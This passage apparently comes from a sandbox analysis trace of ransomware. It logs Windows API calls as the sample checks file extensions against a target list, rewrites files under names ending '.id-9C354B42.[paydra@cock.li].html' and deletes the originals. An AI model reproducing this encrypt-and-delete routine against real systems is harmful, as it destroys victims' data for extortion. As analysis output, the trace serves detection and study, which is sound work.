Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString=".1cd") returned 4 [0042.640] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString=".jpg") returned 4 [0042.640] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString=".doc") returned 4 [0042.640] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString=".docx") returned 5 [0042.640] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0042.640] lstrlenW (lpString=".pdf") returned 4 [0042.640] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString=".xls") returned 4 [0042.640] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString=".xlsx") returned 5 [0042.640] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0042.640] lstrlenW (lpString=".ppt") returned 4 [0042.640] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString=".zip") returned 4 [0042.640] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.641] lstrlenW (lpString=".rar") returned 4 [0042.641] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.641] lstrlenW (lpString=".bz2") returned 4 [0042.641] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.641] lstrlenW (lpString=".7z") returned 3 [0042.641] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.641] lstrlenW (lpString=".dbf") returned 4 [0042.641] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.641] lstrlenW (lpString=".1cd") returned 4 [0042.641] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.641] lstrlenW (lpString=".jpg") returned 4 [0042.641] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.735] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0042.735] lstrlenW (lpString="STOCKS.XML") returned 10 [0042.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.934] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2687) returned 1 [0042.937] CloseHandle (hObject=0x1e0) returned 1 [0042.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0042.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0042.962] GetLastError () returned 0x0 [0042.962] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xa7f, lpOverlapped=0x0) returned 1 [0043.002] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa80, lpOverlapped=0x0) returned 1 [0043.003] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.003] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0043.003] SetEndOfFile (hFile=0x180) returned 1 [0043.003] CloseHandle (hObject=0x180) returned 1 [0043.003] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.003] SetEndOfFile (hFile=0x1e0) returned 1 [0043.004] CloseHandle (hObject=0x1e0) returned 1 [0043.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0043.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0043.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.005] lstrlenW (lpString=".doc") returned 4 [0043.005] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString=".docx") returned 5 [0043.005] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0043.005] lstrlenW (lpString=".pdf") returned 4 [0043.005] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString=".xls") returned 4 [0043.005] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString=".xlsx") returned 5 [0043.005] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0043.005] lstrlenW (lpString=".ppt") returned 4 [0043.005] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.005] lstrlenW (lpString=".zip") returned 4 [0043.005] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.005] lstrlenW (lpString=".rar") returned 4 [0043.005] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString=".bz2") returned 4 [0043.005] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString=".7z") returned 3 [0043.005] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.005] lstrlenW (lpString=".dbf") returned 4 [0043.005] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.005] lstrlenW (lpString=".1cd") returned 4 [0043.005] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.005] lstrlenW (lpString=".jpg") returned 4 [0043.005] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString=".doc") returned 4 [0043.006] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString=".docx") returned 5 [0043.006] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0043.006] lstrlenW (lpString=".pdf") returned 4 [0043.006] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString=".xls") returned 4 [0043.006] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString=".xlsx") returned 5 [0043.006] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0043.006] lstrlenW (lpString=".ppt") returned 4 [0043.006] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString=".zip") returned 4 [0043.006] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.006] lstrlenW (lpString=".rar") returned 4 [0043.006] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString=".bz2") returned 4 [0043.006] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString=".7z") returned 3 [0043.006] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString=".dbf") returned 4 [0043.006] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString=".1cd") returned 4 [0043.006] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0043.006] lstrlenW (lpString=".jpg") returned 4 [0043.006] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.007] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0043.007] lstrlenW (lpString="Bears.jpg") returned 9 [0043.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.067] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1074) returned 1 [0043.067] CloseHandle (hObject=0x1e0) returned 1 [0043.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0043.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.067] lstrlenW (lpString=".doc") returned 4 [0043.067] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.067] lstrlenW (lpString=".docx") returned 5 [0043.067] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.067] lstrlenW (lpString=".pdf") returned 4 [0043.067] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.067] lstrlenW (lpString=".xls") returned 4 [0043.067] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.067] lstrlenW (lpString=".xlsx") returned 5 [0043.067] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.067] lstrlenW (lpString=".ppt") returned 4 [0043.068] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString=".zip") returned 4 [0043.068] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.068] lstrlenW (lpString=".rar") returned 4 [0043.068] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.068] lstrlenW (lpString=".bz2") returned 4 [0043.068] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.068] lstrlenW (lpString=".7z") returned 3 [0043.068] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString=".dbf") returned 4 [0043.068] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString=".1cd") returned 4 [0043.068] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString=".jpg") returned 4 [0043.068] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.068] lstrlenW (lpString=".doc") returned 4 [0043.068] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.068] lstrlenW (lpString=".docx") returned 5 [0043.068] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.068] lstrlenW (lpString=".pdf") returned 4 [0043.068] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.068] lstrlenW (lpString=".xls") returned 4 [0043.068] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.069] lstrlenW (lpString=".xlsx") returned 5 [0043.069] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.069] lstrlenW (lpString=".ppt") returned 4 [0043.069] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.069] lstrlenW (lpString=".zip") returned 4 [0043.069] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.069] lstrlenW (lpString=".rar") returned 4 [0043.069] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.069] lstrlenW (lpString=".bz2") returned 4 [0043.069] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.069] lstrlenW (lpString=".7z") returned 3 [0043.069] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.069] lstrlenW (lpString=".dbf") returned 4 [0043.069] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.069] lstrlenW (lpString=".1cd") returned 4 [0043.069] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0043.069] lstrlenW (lpString=".jpg") returned 4 [0043.069] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.069] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0043.069] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0043.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.070] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2575) returned 1 [0043.070] CloseHandle (hObject=0x1e0) returned 1 [0043.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0043.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.071] lstrlenW (lpString=".doc") returned 4 [0043.071] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.071] lstrlenW (lpString=".docx") returned 5 [0043.071] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0043.071] lstrlenW (lpString=".pdf") returned 4 [0043.071] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.071] lstrlenW (lpString=".xls") returned 4 [0043.071] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.071] lstrlenW (lpString=".xlsx") returned 5 [0043.071] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0043.071] lstrlenW (lpString=".ppt") returned 4 [0043.071] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString=".zip") returned 4 [0043.072] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.072] lstrlenW (lpString=".rar") returned 4 [0043.072] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.072] lstrlenW (lpString=".bz2") returned 4 [0043.072] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.072] lstrlenW (lpString=".7z") returned 3 [0043.072] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString=".dbf") returned 4 [0043.072] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString=".1cd") returned 4 [0043.072] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString=".jpg") returned 4 [0043.072] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.072] lstrlenW (lpString=".doc") returned 4 [0043.072] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.072] lstrlenW (lpString=".docx") returned 5 [0043.072] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0043.072] lstrlenW (lpString=".pdf") returned 4 [0043.072] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.072] lstrlenW (lpString=".xls") returned 4 [0043.072] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.072] lstrlenW (lpString=".xlsx") returned 5 [0043.072] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0043.073] lstrlenW (lpString=".ppt") returned 4 [0043.073] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.073] lstrlenW (lpString=".zip") returned 4 [0043.073] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.073] lstrlenW (lpString=".rar") returned 4 [0043.073] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.073] lstrlenW (lpString=".bz2") returned 4 [0043.073] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.073] lstrlenW (lpString=".7z") returned 3 [0043.073] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.073] lstrlenW (lpString=".dbf") returned 4 [0043.073] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.073] lstrlenW (lpString=".1cd") returned 4 [0043.073] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0043.073] lstrlenW (lpString=".jpg") returned 4 [0043.073] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.073] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0043.073] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0043.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.074] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4587) returned 1 [0043.074] CloseHandle (hObject=0x1e0) returned 1 [0043.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0043.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.074] lstrlenW (lpString=".doc") returned 4 [0043.074] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.074] lstrlenW (lpString=".docx") returned 5 [0043.074] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0043.074] lstrlenW (lpString=".pdf") returned 4 [0043.074] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.074] lstrlenW (lpString=".xls") returned 4 [0043.074] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.074] lstrlenW (lpString=".xlsx") returned 5 [0043.074] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0043.074] lstrlenW (lpString=".ppt") returned 4 [0043.074] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.074] lstrlenW (lpString=".zip") returned 4 [0043.074] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.074] lstrlenW (lpString=".rar") returned 4 [0043.074] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.074] lstrlenW (lpString=".bz2") returned 4 [0043.074] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.074] lstrlenW (lpString=".7z") returned 3 [0043.075] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString=".dbf") returned 4 [0043.075] lstrcmpiW 